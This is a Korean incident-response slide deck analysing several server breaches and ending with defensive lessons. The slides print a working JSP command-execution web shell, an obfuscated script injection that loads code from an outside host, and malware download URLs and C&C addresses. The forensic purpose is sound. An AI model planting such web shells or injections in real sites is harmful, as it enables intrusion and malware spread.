15. 웹셸 제거
계정 접근
제어 설정
서버 점검
서비스
재설치
서비스 망 해킹
2nd Case Keyword
16. 117.x.x.188(한국, VPN)
211. x.x.19(한국, VPN)
211. x.x.3(한국, VPN)
211. x.x.203(한국)
210.x.x.22(한국)
116.x.x.1~116.x.x.255(중국)
웹서버(213)
hoxxy.OOO.com
웹서버(222)
www.OOO.com
파일서버(209)
file.OOO.com
파일서버(223)
hoxxdata.OOO.com
211.x47.x0.51(KR)
공유폴더 접속(관리자 계정)
웹셸 업로드
FTP 접속(관리자 계정)
웹셸 업로드
DB서버(210)
211.x34.x2.202(KR)
원격제어
OO닷컴 서버망
58.x.162.x
win 서버 13대
linux 서버 ??대
2nd Case 서비스 망 해킹 관찰의 힘
17. <213번 웹서> D:OnmamWebSiteSourcehomxx.OOO.com/common/js/prototype.js
<222번 웹서버> D:OnmamWebSiteSourceimages.OOO.comCommon_jsYUtil.js
myOOO.co.kr/test/f/ck.gif
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]
=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(ne
w RegExp('b'+e(c)+'b','g'),k[c])}}return p}('4.3("<0 2=1://5.b.6.a/9/8.7></0>");',12,12,'script|http|src|write|d
ocument|itoy|co|gif|all|images|kr|dbros'.split('|'),0,{}))
--> 디코딩 결과
document.write("<script src=http://itoy.dbOOO.co.kr/images/all.gif></script>");
2015-04-20 17:16:17 W3SVC678852465 58.x.x.213
POST /customer/con.asp(웹셸) - 80 – 117.x.x.188(한국, VPN)
Mozilla/4.0+(compatible;+MSIE+8.0;+Windows+NT+5.2;+Trident/4.0;+qdesk+2.4.1264.203;+.NET+CLR+1.1.4322;+.N
ET+CLR+2.0.50727;+.NET+CLR+3.0.04506.30;+.NET+CLR+3.0.4506.2152;+.NET+CLR+3.5.30729) 200 0 0
2nd Case 서비스 망 해킹 관찰의 힘
18. 일부 웹셸의 경우 IIS의 가상폴더를 이용하여 연결
2nd Case 서비스 망 해킹 관찰의 힘
19. 웹셸이 삭제될 경우 공유폴더 접근을 통해 다시 업로드
2nd Case 서비스 망 해킹 관찰의 힘
20. 공유폴더 접근 차단 조치 후 209번 서버에서 222번 서버로 FTP 접속, 다시 웹셸 업로드
2nd Case 서비스 망 해킹 관찰의 힘
21. 209번 서버 확인결과, 외부 C&C로 백커넥트되어 있는 상태
2nd Case 서비스 망 해킹 관찰의 힘
22. 사용자 행위 확인결과 공격도구인 Cain.exe 실행이력 확인
Cain.exe 실행 시점의 브라우저 기록을 확인한 결과 다수의 악성코드 추가다운 수행한 이력 확인
isangwhang.com/data/goodsimages/fxp.exe <시점 : 2015-04-28 18:40:58>
ischoolplus.com/css/zx.exe <시점 : 2015-04-28 23:07:31>
isangwhang.com/data/goodsimages/cain.exe <시점 : 2015-04-28 23:15:37>
209번 파일서버 브라우져 로그 확인 - 공격자가 추가 악성코드 다운을 시도
2nd Case 서비스 망 해킹 관찰의 힘
23. 악성코드를 추가 다운한 시점의 이벤트로그 확인 - 223번 서버에서 209번 서버로 원격터미널 접속
223번 파일서버 : 209과 동일한 원격제어 악성코드가 설치, 외부 C&C로 백커넥트 연결
※ 악성코드 명 : lss.jpg(해킹도구인 HTran 악성코드)
※ C&C : 211.x.x.202:443(한국)
2nd Case 서비스 망 해킹 관찰의 힘
24. C2로 악용된 서버 추가 분석 - 211.x47.x0.51(OO닷컴 DB서버)
2nd Case 서비스 망 해킹 관찰의 힘
32. 3rd Case
2013-07-10 10:23:10,134 INFO [org.jboss.naming.NamingService] Started jndi bootstrap jnpPort=1099,
rmiPort=1098, backlog=50, bindAddress=/0.0.0.0,
2013-07-10 10:23:14,293 INFO [org.jboss.mq.il.uil2.UILServerILService] JBossMQ UIL
service available at : /0.0.0.0:8093
......(중략)
2015-07-30 15:48:09,072 INFO [org.jboss.naming.NamingService] Started jndi bootstrap jnpPort=1099,
rmiPort=1098, backlog=50, bindAddress=/0.0.0.0,
2015-07-30 15:48:12,589 INFO [org.jboss.mq.il.uil2.UILServerILService] JBossMQ UIL
service available at : /0.0.0.0:8093
예외는 없다개발 망 해킹
33. 3rd Case
2013-09-21 06:50:54,798 INFO [org.jboss.web.tomcat.tc5.TomcatDeployer] deploy, //업로드
ctxPath=/webconsole, //파일명
warUrl=file:/usr/local/jboss/server/default/deploy/management/webconsole.war/ //경로
예외는 없다개발 망 해킹
34. 3rd Case
<%@page import="java.io.*"%><HTML><BODY><FORM METHOD="GET"
NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit"
VALUE="Execute"></FORM><PRE><%if (request.getParameter("cmd") != null)
{out.println("Command:" + request.getParameter("cmd"));
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new
DataInputStream(in);String disr = dis.readLine();
while ( disr != null ) { out.println(disr);disr = dis.readLine();}}%></BODY></HTML></pre>
개발 망 해킹 예외는 없다
35. 3rd Case
해당 Jboss 기능과 웹셸을 이용하여 악성 파일 생성 및 실행
웹셸 5개, 다운로더 58개, 백도어 1종, IRC bot 1종, DDoS 공격 악성코드 1종 생성
DDoS 악성코드 실행 시 생성되는 설정 파일 시간 값
예외는 없다개발 망 해킹
45. usb-spi.ko 파일은 TCP 통신 트래픽 중 ‘fuck@root’ 문자열이 포
함된 패킷을 수신하면 /var/lib/nfs/statd/dm/libijs.so 실행
루트킷 파일
/lib/modules/2.6.18-404.el5/kernel/sound/usb/usb-spi.ko
/var/lib/nfs/statd/dm/libijs.so
/var/lib/nfs/statd/dm/libijs2.so
libijs.so 파일은 공격자가 설정한 IP주소로 리버스 텔넷 시도
4th Case 거점 확보 기법 Profiling
루트킷
46. /proc 폴더 분석을 통한 숨겨진 프로세스 탐지 기법
cmdline : 명령행 매개변수
cwd : 현재 작업 디렉토리
maps : 실행 파일과 라이브러리에 대한 메모리
맵
mem : 프로세스 메모리
status : 프로세스 상태
environ : 프로세스에 공개된 환경변수
exe : 프로세스의 실행파일
fd : 프로세스가 열어놓은 파일 목록
root : 프로세스 루트 디렉토리
4th Case 거점 확보 기법 Profiling
루트킷
47. /proc 폴더 분석을 통한 숨겨진 프로세스 탐지 기법
for PID in $(./chkproc -v | grep "PID" | grep "/" | awk -F "(" '{print $1}' | awk '{print $2}');
do echo -n "PID[$PID]"; ls -al /proc/$PID |grep exe |awk '{print "exe -> "$11}'; done
4th Case 거점 확보 기법 Profiling
루트킷
48. /proc 폴더 분석을 통한 숨겨진 프로세스 탐지 기법
for PID in $(find ./ -name exe | grep -v task | awk -F "/" '{print $2}'); do echo -n "PID[$PID]";
ls -al /proc/$PID | grep exe |awk '{print "exe -> "$11}';done
4th Case 거점 확보 기법 Profiling
루트킷
69. 5th Case
Scrum vs Kanban.hwp
61.x.x.251 port : 443 (C&C, )
122.x.x.214 port : 443 (C&C)
15년도 추계학술대회 안내문.hwp
203.x.x.163 port : 443,8443 (C&C)
196.x.x.106 port : 443, 8443 (C&C)
관리자 공격 Collabo
72. 5th Case
① 해킹된 웹사이트 조치 과정에서 악성코드 감염
② 원격제어권 확보
③ 관리자 PC의 관리프로그램을 통한 RAT 설치
④ 다수 웹서버에 대한 추가 원격제어권 확보
관리자 공격
취약한 웹에서 사용되는 ActiveX 취약점을 공격에 악용
대기… 대기... 대기…
Collabo
73. 5th Case 관리자 공격
[root@exxx bin]# stat /lib/libcom.so.3.0.1
File: `/lib/libcom.so.3.0.1'
Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
리눅스 preload (/etc/ld.so.preload) - 모든 프로세스에 so 파일 인젝션
Collabo
76. 76
8
16
0 10 20 30 40 50 60 70 80
1개월~3개월
4개월~6개월
6개월~1년
최초 침투에서 악성코드 유포까지 소요된 기간 비율
시스템 상세 분석이
진행된 사고(50여건) 기준
5th Case Log... Collabo
77. 관찰은 쓰다. 그러나 열매는 달다
내가 해봐야 하는 것은 보안 내재화다
Episode
78. 명확하고 신속한 의사소통(분석가, 피해기관, 유관기관)
다양한 로그 분석을 통한 신중한 결과 도출(유관기관과의 정보공유)
분석 결과 기반 추가 증거 수집
이미지 및 방화벽로그/DB로그/해킹도구 등 다양한 분석 경험
전체적인 분석방향 및 일정 조율
상세한 리포트
거의 끝. Think... NOPASIM
79. 공격대상 기관의 특성에 따라 침투 경로 및 기법 상이
보안 체계 자체의 Risk
최초 침투경로 확인 방안 / 전사적 보안 점검 방안
로그관리의 표준화
네트워크 기반 이상행위 탐지 체계
Defensive Security의 활성
거의 끝. Think... NOPASIM